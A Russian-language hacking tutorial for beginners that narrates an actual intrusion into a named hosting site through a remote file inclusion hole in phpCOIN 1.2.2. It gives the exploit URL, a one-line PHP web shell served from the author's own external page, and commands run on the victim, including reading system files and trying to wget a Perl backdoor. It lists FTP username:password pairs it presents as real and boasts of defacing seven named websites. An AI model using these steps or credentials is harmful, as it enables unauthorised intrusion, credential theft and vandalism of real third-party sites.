Эта статья будет интересна в первую
очередь начинающим хакерам. В ней я
попытаюсь объяснить как применять php
инклудинг.
Сидя вечером 20 декабря Интернете я прочитал
о только что найденной уязвимости в форуме
phpCOIN. Статья называлась "PHP-инклудинг
в phpCOIN v.1.2.2" Вот как выглядит данная
уязвимость:
http://[target]/[path]/config.php?_CCFG[_PKG_PATH_DBSE]=http://[location]
Затем я пошел на www.altavista.com, набил для поиска
phpCOIN 1.2.2 и стал разгребать найденные ссылки.
И решил остановиться на сайте www.bajahosting.com.mx.
На нем висел дырявый форум www.bajahosting.com.mx/phpcoin.
Приводим строку к виду http://www.bajahosting.com.mx/phpcoin/config.php?_CCFG[_PKG_PATH_DBSE]=
Видим:
Warning: main(db_mysql.php): failed to open stream: No
such file or directory in /home/ameza/public_html/phpcoin/coin_includes/db.php
on line 37
Fatal error: main(): Failed opening required 'db_mysql.php' (include_path='.:/usr/lib/php:/usr/local/lib/php')
in /home/ameza/public_html/phpcoin/coin_includes/db.php on line 37
Можно загружать с других сайтов. Для этого
создаем страницу, например на Народе: http://exit20052005.narod.ru.
Пробуем:
http://www.bajahosting.com.mx/phpcoin/config.php?_CCFG [_PKG_PATH_DBSE]=http://exit20052005.narod.ru
В броузере:
Warning: main(): php_network_getaddresses: getaddrinfo
failed: Name or service not known in /home/ameza/public_html/phpcoin/coin_includes/db.php
on line 37
Warning: main(http://exit20052005.narod.rudb_mysql.php): failed to open stream:
Permission denied in /home/ameza/public_html/phpcoin/coin_includes/db.php on
line 37
Fatal error: main(): Failed opening required 'http://exit20052005.narod.rudb_mysql.php'
(include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/ameza/public_html/phpcoin/coin_includes/db.php
on line 37
Т.е. теперь нам надо создать файл db_mysql.php и
поместить на http://exit20052005.narod.ru. Файл db_mysql.php
будет следующего содержания:
<pre>
<? passthru($cmd); ?>
</pre>
Вводим http://www.bajahosting.com.mx/phpcoin/config.php?_CCFG [_PKG_PATH_DBSE]=http://exit20052005.narod.ru/
и наблюдаем:
Warning: passthru(): Cannot execute a blank command in
http://exit20052005.narod.ru/db_mysql.php on line 2
Fatal error: Cannot instantiate non-existent class: db_funcs in /home/ameza/public_html/phpcoin/coin_includes/core.php
on line 63
Этот скрипт позволяет нам выполнять
команды на серваке. Вводим в броузере:
http://www.bajahosting.com.mx/phpcoin/config.php?_CCFG [_PKG_PATH_DBSE]=http://exit20052005.narod.ru/&cmd=ls
Эта команда позволяет просматривать файлы
директории с правами nobody. О том какие
команды вводить я писать не буду, об этом
писалось много раз в предыдущих статьях. Я
пролазил по всем доступным мне директориям
сайта, пытаясь найти зашифрованные пароли
пользователей, пароли к mysql и другую
полезную информацию. Но увы, зашифрованных
паролей не нашел. Пытался запустить на
серваке бекдор:
http://www.bajahosting.com.mx/phpcoin/config.php?_CCFG [_PKG_PATH_DBSE]=http://exit20052005.narod.ru/&cmd=
wget%20-O%20shell.pl%20http://exit20052005.narod.ru/shell.pl
но ничего не получилось, мне выдало:
Script or Action Blocked
Файл /etc/passwd был конечно же без пассов, но
зато содержал логины всех юзеров. Я решил
проверить не совпадёт ли у кого-нибудь
пароль с логином для ftp. Для этого
использовал прогу WWWHACK. Оказалось, что таких
пассов очень много. Буквально один
повторяется за другим. Вот некоторые из них:
absolute:absolute
farmosa:farmosa
aquatic:aquatic
golflink:golflink
pokico:pokico
prence:prence
quantum:quantum
Чтобы узнать каким сайтам принадлежат
пассы просмотрите http.conf:
http://www.bajahosting.com.mx/phpcoin/config.php?_CCFG [_PKG_PATH_DBSE]=http://exit20052005.narod.ru/&cmd=
cat%20/usr/local/apache/conf/httpd.conf
Так я задефейсил некоторые сайты:
http://www.absolutezventure.com/
http://www.farmosa-aircon.com/
http://www.geo-aquatic.com/
http://www.golf-link.biz/
http://www.pokico.com/
http://www.prencepak.com/
http://www.emoinmotion.com